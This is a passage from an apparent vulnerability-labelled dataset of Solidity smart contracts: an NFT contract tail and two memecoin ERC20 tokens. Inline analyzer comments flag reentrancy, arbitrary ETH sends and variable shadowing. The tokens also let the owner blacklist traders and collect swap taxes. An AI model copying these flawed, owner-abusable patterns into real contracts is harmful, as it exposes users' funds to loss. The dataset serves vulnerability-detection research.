block.timestamp,\n block.number,\n block.difficulty,\n block.coinbase,\n block.gaslimit,\n blockhash(block.number)\n )\n );\n }\n\n bool public stakingIsEnabled;\n\n bool public unstakingIsEnabled;\n\n function O_setStakingIsEnabled(bool bool_) external onlyOwner {\n stakingIsEnabled = bool_;\n }\n\n function O_setUnstakingIsEnabled(bool bool_) external onlyOwner {\n unstakingIsEnabled = bool_;\n }\n\n function _mint(address address_, uint256 amount_) internal override {\n require(\n maxSupply >= (totalSupply() + amount_),\n \"ERC721G: _mint(): exceeds maxSupply\"\n );\n\n ERC721G._mint(address_, amount_);\n }\n\n function stake(uint256[] calldata tokenIds_) public override {\n require(stakingIsEnabled, \"Staking functionality not enabled yet!\");\n\n ERC721G.stake(tokenIds_);\n }\n\n function unstake(uint256[] calldata tokenIds_) public override {\n require(unstakingIsEnabled, \"Unstaking functionality not enabled yet!\");\n\n ERC721G.unstake(tokenIds_);\n }\n\n function _mintMany(\n address[] memory addresses_,\n uint256[] memory amounts_\n ) internal {\n require(\n addresses_.length == amounts_.length,\n \"Array lengths mismatch!\"\n );\n\n for (uint256 i = 0; i < addresses_.length; ) {\n _mint(addresses_[i], amounts_[i]);\n\n unchecked {\n ++i;\n }\n }\n }\n\n function mintAsController(\n address to_,\n uint256 amount_\n ) external onlyMinter {\n _mint(to_, amount_);\n }\n\n function mintAsControllerMany(\n address[] calldata tos_,\n uint256[] calldata amounts_\n ) external onlyMinter {\n _mintMany(tos_, amounts_);\n }\n\n string internal baseURI;\n\n string internal baseURI_EXT;\n\n function O_setBaseURI(string calldata uri_) external onlyOwner {\n baseURI = uri_;\n }\n\n function O_setBaseURI_EXT(string calldata ext_) external onlyOwner {\n baseURI_EXT = ext_;\n }\n\n function _toString(uint256 value_) internal pure returns (string memory) {\n if (value_ == 0) {\n return \"0\";\n }\n\n uint256 _iterate = value_;\n uint256 _digits;\n\n while (_iterate != 0) {\n _digits++;\n _iterate /= 10;\n }\n\n bytes memory _buffer = new bytes(_digits);\n\n while (value_ != 0) {\n _digits--;\n _buffer[_digits] = bytes1(uint8(48 + uint256(value_ % 10)));\n value_ /= 10;\n }\n\n return string(_buffer);\n }\n\n function tokenURI(\n uint256 tokenId_\n ) public view override returns (string memory) {\n if (block.chainid != 1) return \"\";\n\n return\n string(abi.encodePacked(baseURI, _toString(tokenId_), baseURI_EXT));\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: a1b50c4): GAS2_20241028_1.isOwnerOfAll(address,uint256[]) uses timestamp for comparisons Dangerous comparisons ownerOf(tokenIds_[i]) != owner\n\t// Recommendation for a1b50c4: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1e413e0): GAS2_20241028_1.isOwnerOfAll(address,uint256[]).owner shadows Ownable.owner (state variable)\n\t// Recommendation for 1e413e0: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 2c10374): GAS2_20241028_1.isOwnerOfAll(address,uint256[]).i is a local variable never initialized\n\t// Recommendation for 2c10374: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function isOwnerOfAll(\n address owner,\n uint256[] calldata tokenIds_\n ) external view returns (bool) {\n uint256 i;\n\n uint256 l = tokenIds_.length;\n\n unchecked {\n do {\n\t\t\t\t// timestamp | ID: a1b50c4\n if (ownerOf(tokenIds_[i]) != owner) return false;\n } while (++i < l);\n }\n\n return true;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: b67d424): GAS2_20241028_1.isTrueOwnerOfAll(address,uint256[]) uses timestamp for comparisons Dangerous comparisons _trueOwnerOf(tokenIds_[i]) != owner\n\t// Recommendation for b67d424: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 222b900): GAS2_20241028_1.isTrueOwnerOfAll(address,uint256[]).owner shadows Ownable.owner (state variable)\n\t// Recommendation for 222b900: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 277d149): GAS2_20241028_1.isTrueOwnerOfAll(address,uint256[]).i is a local variable never initialized\n\t// Recommendation for 277d149: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function isTrueOwnerOfAll(\n address owner,\n uint256[] calldata tokenIds_\n ) external view returns (bool) {\n uint256 i;\n\n uint256 l = tokenIds_.length;\n\n unchecked {\n do {\n\t\t\t\t// timestamp | ID: b67d424\n if (_trueOwnerOf(tokenIds_[i]) != owner) return false;\n } while (++i < l);\n }\n\n return true;\n }\n\n uint256 public constant maxSupply = 17777;\n\n event ConsecutiveTransfer(\n uint256 indexed fromTokenId,\n uint256 toTokenId,\n address indexed fromAddress,\n address indexed toAddress\n );\n\n function slicePadMigrate() external onlyOwner {\n tokenIndex = 10001;\n\n address _burnAddr = 0x000000000000000000000000000000000000dEaD;\n\n mintIndex[7778].owner = _burnAddr;\n\n mintIndex[7778].lastTransfer = _getBlockTimestampCompressed();\n\n mintIndex[10000].owner = _burnAddr;\n\n mintIndex[10000].lastTransfer = _getBlockTimestampCompressed();\n\n _balanceData[_burnAddr].balance += uint32(2223);\n\n _balanceData[_burnAddr].mintedAmount += uint32(2223);\n\n emit ConsecutiveTransfer(7778, 10000, address(0), _burnAddr);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 8a0ba8a): GAS2_20241028_1.migrateBoxesPad(uint256,uint256) uses timestamp for comparisons Dangerous comparisons _owner != _burnAddr\n\t// Recommendation for 8a0ba8a: Avoid relying on 'block.timestamp'.\n function migrateBoxesPad(uint256 start_, uint256 end_) external onlyOwner {\n address _burnAddr = 0x000000000000000000000000000000000000dEaD;\n\n for (; start_ <= end_; ) {\n address _owner = _trueOwnerOf(start_);\n\n\t\t\t// timestamp | ID: 8a0ba8a\n if (_owner != _burnAddr) {\n _transfer(_owner, _burnAddr, start_);\n }\n\n _mint(_owner, 1);\n\n unchecked {\n start_++;\n }\n }\n }\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 6f917b3): GAS2_20241028_1.proxyPadding shadows ERC721G.proxyPadding\n\t// Recommendation for 6f917b3: Remove the state variable shadowing.\n bytes32[50] private proxyPadding;\n}\n",
"file_name": "solidity_code_10065.sol",
"size_bytes": 32223,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract ELON69 is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: c577f22): ELON69._taxWallet should be immutable \n\t// Recommendation for c577f22: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 64c9788): ELON69._initialBuyTax should be constant \n\t// Recommendation for 64c9788: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: aacb22a): ELON69._initialSellTax should be constant \n\t// Recommendation for aacb22a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 24;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8e76433): ELON69._reduceBuyTaxAt should be constant \n\t// Recommendation for 8e76433: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2627a71): ELON69._reduceSellTaxAt should be constant \n\t// Recommendation for 2627a71: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: e744532): ELON69._preventSwapBefore should be constant \n\t// Recommendation for e744532: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 69000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Elon the Dog\";\n\n string private constant _symbol = unicode\"ELON69\";\n\n uint256 public _maxTxAmount = 1380000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 1380000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 17290f7): ELON69._taxSwapThreshold should be constant \n\t// Recommendation for 17290f7: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 690000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 040d23a): ELON69._maxTaxSwap should be constant \n\t// Recommendation for 040d23a: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 690000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 89b079a): ELON69.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 89b079a: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 7e1726a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 7e1726a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0688979): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0688979: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 7e1726a\n\t\t// reentrancy-benign | ID: 0688979\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 7e1726a\n\t\t// reentrancy-benign | ID: 0688979\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3bc9a82): ELON69._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3bc9a82: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 0688979\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 7e1726a\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4280dc0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4280dc0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 977bfb4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 977bfb4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 4280dc0\n\t\t\t\t// reentrancy-eth | ID: 977bfb4\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 4280dc0\n\t\t\t\t\t// reentrancy-eth | ID: 977bfb4\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 977bfb4\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 977bfb4\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 977bfb4\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 4280dc0\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 977bfb4\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 977bfb4\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 4280dc0\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 7e1726a\n\t\t// reentrancy-events | ID: 4280dc0\n\t\t// reentrancy-benign | ID: 0688979\n\t\t// reentrancy-eth | ID: 977bfb4\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 6e5f10c): ELON69.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 6e5f10c: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 7e1726a\n\t\t// reentrancy-events | ID: 4280dc0\n\t\t// reentrancy-eth | ID: 977bfb4\n\t\t// arbitrary-send-eth | ID: 6e5f10c\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0da9c8f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0da9c8f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 04fdd04): ELON69.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 04fdd04: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 56ff7f4): ELON69.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 56ff7f4: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 732f826): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 732f826: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 0da9c8f\n\t\t// reentrancy-eth | ID: 732f826\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 0da9c8f\n\t\t// unused-return | ID: 56ff7f4\n\t\t// reentrancy-eth | ID: 732f826\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 0da9c8f\n\t\t// unused-return | ID: 04fdd04\n\t\t// reentrancy-eth | ID: 732f826\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 0da9c8f\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 732f826\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10066.sol",
"size_bytes": 19504,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: c9f02f0): DarkJanet.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = (_tTotal * 5) / 10000 _maxTaxSwap = _taxSwapThreshold * 40\n// Recommendation for c9f02f0: Consider ordering multiplication before division.\ncontract DarkJanet is Context, Ownable, IERC20 {\n using SafeMath for uint256;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 3b4387e): DarkJanet._taxWallet should be immutable \n\t// Recommendation for 3b4387e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7853e25): DarkJanet._initialBuyTax should be constant \n\t// Recommendation for 7853e25: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: d581ff7): DarkJanet._initialSellTax should be constant \n\t// Recommendation for d581ff7: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7fb0cbc): DarkJanet._finalBuyTax should be constant \n\t// Recommendation for 7fb0cbc: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1b91cef): DarkJanet._finalSellTax should be constant \n\t// Recommendation for 1b91cef: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: eb53af7): DarkJanet._reduceBuyTaxAt should be constant \n\t// Recommendation for eb53af7: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 8;\n\n\t// WARNING Optimization Issue (constable-states | ID: d029775): DarkJanet._reduceSellTaxAt should be constant \n\t// Recommendation for d029775: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7155ff1): DarkJanet._preventSwapBefore should be constant \n\t// Recommendation for 7155ff1: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 10;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 10;\n\n uint256 private constant _tTotal = 1_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Dark Janet\";\n\n string private constant _symbol = unicode\"DJANET\";\n\n uint256 public _maxTxAmount = (_tTotal * 2) / 100;\n\n uint256 public _maxWalletSize = (_tTotal * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4ce0d67): DarkJanet._taxSwapThreshold should be constant \n\t// Recommendation for 4ce0d67: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: c9f02f0\n uint256 public _taxSwapThreshold = (_tTotal * 5) / 10000;\n\n\t// WARNING Optimization Issue (immutable-states | ID: c3497d4): DarkJanet._maxTaxSwap should be immutable \n\t// Recommendation for c3497d4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n\t// divide-before-multiply | ID: c9f02f0\n uint256 public _maxTaxSwap = _taxSwapThreshold * 40;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool private limitsInEffect = true;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint256 private taxAmount;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure 